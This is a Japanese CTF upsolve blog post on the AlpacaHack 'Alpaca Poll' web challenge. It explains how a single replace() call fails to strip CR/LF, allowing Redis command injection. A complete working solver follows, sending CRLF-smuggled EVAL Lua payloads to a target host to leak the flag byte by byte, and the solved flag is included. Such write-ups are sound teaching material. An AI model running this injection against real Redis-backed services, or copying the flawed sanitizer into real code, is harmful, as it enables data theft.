ctf upsolve by kodai Advent Calendar 2025のDay2の記事になります。
取り扱った問題
AlpacaHack Round 7 (Web) Alpaca Poll
Author: st98
upsolve
compose-yaml, db.js, index.jsなどが与えられます
compose-ymlにある通り、FLAGは環境変数にあります
services:
alpaca-poll:
build: ./web
restart: unless-stopped
init: true
ports:
- ${PORT:-3000}:3000
environment:
- FLAG=Alpaca{REDACTED}
db.jsでの記述を見ると、Redisを使ってdbへの接続を行っていることが分かります。
またデータベース初期化時にFLAGがセットされています。
import net from 'node:net';
function connect() {
return new Promise(resolve => {
const socket = net.connect('6379', 'localhost', () => {
resolve(socket);
});
});
}
function send(socket, data) {
console.info('[send]', JSON.stringify(data));
socket.write(data);
return new Promise(resolve => {
socket.on('data', data => {
console.info('[recv]', JSON.stringify(data.toString()));
resolve(data.toString());
})
});
}
// 省略
export async function init(flag) {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
message += `SET ${animal} ${votes}\r\n`;
}
message += `SET flag ${flag}\r\n`; // please exfiltrate this
await send(socket, message);
socket.destroy();
}
index.jsの記述を見ると、/voteで投票をし、/votesで投票結果を取得することができます
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
app.get('/votes', async (req, res) => {
return res.json(await getVotes());
});
/voteのanimalのサニタイズに注目しました
コメント文でNo Injection pleaseと書いてあるのでここが怪しいです。
ここでは改行文字を削除しています
animal = animal.replace('\r', '').replace('\n', '');
しかしString.prototype.replace()では、文字列パターンは一度だけ置換されるため、本来はreplaceAll()を使わなければなりません。
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace
db.jsのRedisへの送信部分を見ると行単位でコマンドを送っています。
vote()の戻り値は整数だけで、votes()の戻り値はそれぞれの投票結果が返ってくるのでそれを利用してインジェクションを行います
以下がsolverです。コード実装能力がなくてChatGPTに手助けしてもらいました。
コードの意図としては、
- flag キーから文字列を読む
- そのうち pos 文字目(1文字目、2文字目…)を取り出す
- それを 数値に変換(ASCII コードなど)する
- その数値を SET dog <その数値> で保存する
を方針として考えました
const TARGET = process.argv[2] || 'http://34.170.146.252:60273';
async function sendVote(animal) {
const body = new URLSearchParams({ animal }).toString();
const res = await fetch(`${TARGET}/vote`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body,
});
const json = await res.json();
console.log('[vote]', json);
return json;
}
async function getVotes() {
const res = await fetch(`${TARGET}/votes`);
const json = await res.json();
console.log('[votes]', json);
return json;
}
function buildAnimalPayload(pos) {
const lua = `local f=redis.call("GET","flag");local b=string.byte(f,${pos},${pos});redis.call("SET","dog",b);return b`;
const luaEscaped = lua.replace(/"/g, '\\"');
const payload = `\ralpaca\n\r\nEVAL "${luaEscaped}" 0\r\nalpaca`;
return payload;
}
async function leakOneChar(pos) {
const animal = buildAnimalPayload(pos);
console.log('[payload]', JSON.stringify(animal));
await sendVote(animal);
const votes = await getVotes();
const code = votes.dog;
if (typeof code !== 'number' || !Number.isFinite(code)) {
console.error('Unexpected votes.dog:', votes);
return null;
}
const ch = String.fromCharCode(code);
console.log(`pos=${pos}, code=${code}, ch=${ch}`);
return ch;
}
async function main() {
let flag = '';
for (let pos = 1; pos <= 100; pos++) {
const ch = await leakOneChar(pos);
if (!ch) {
console.error('failed to leak at pos', pos);
break;
}
flag += ch;
console.log('current flag =', flag);
if (ch === '}') break;
}
console.log('FINAL FLAG =', flag);
}
main().catch(err => {
console.error(err);
process.exit(1);
});
FLAG : Alpaca{ezotanuki_mofumofu}
感想
MDNで仕様を読んで、使えそうなものを見つけることができて良かったです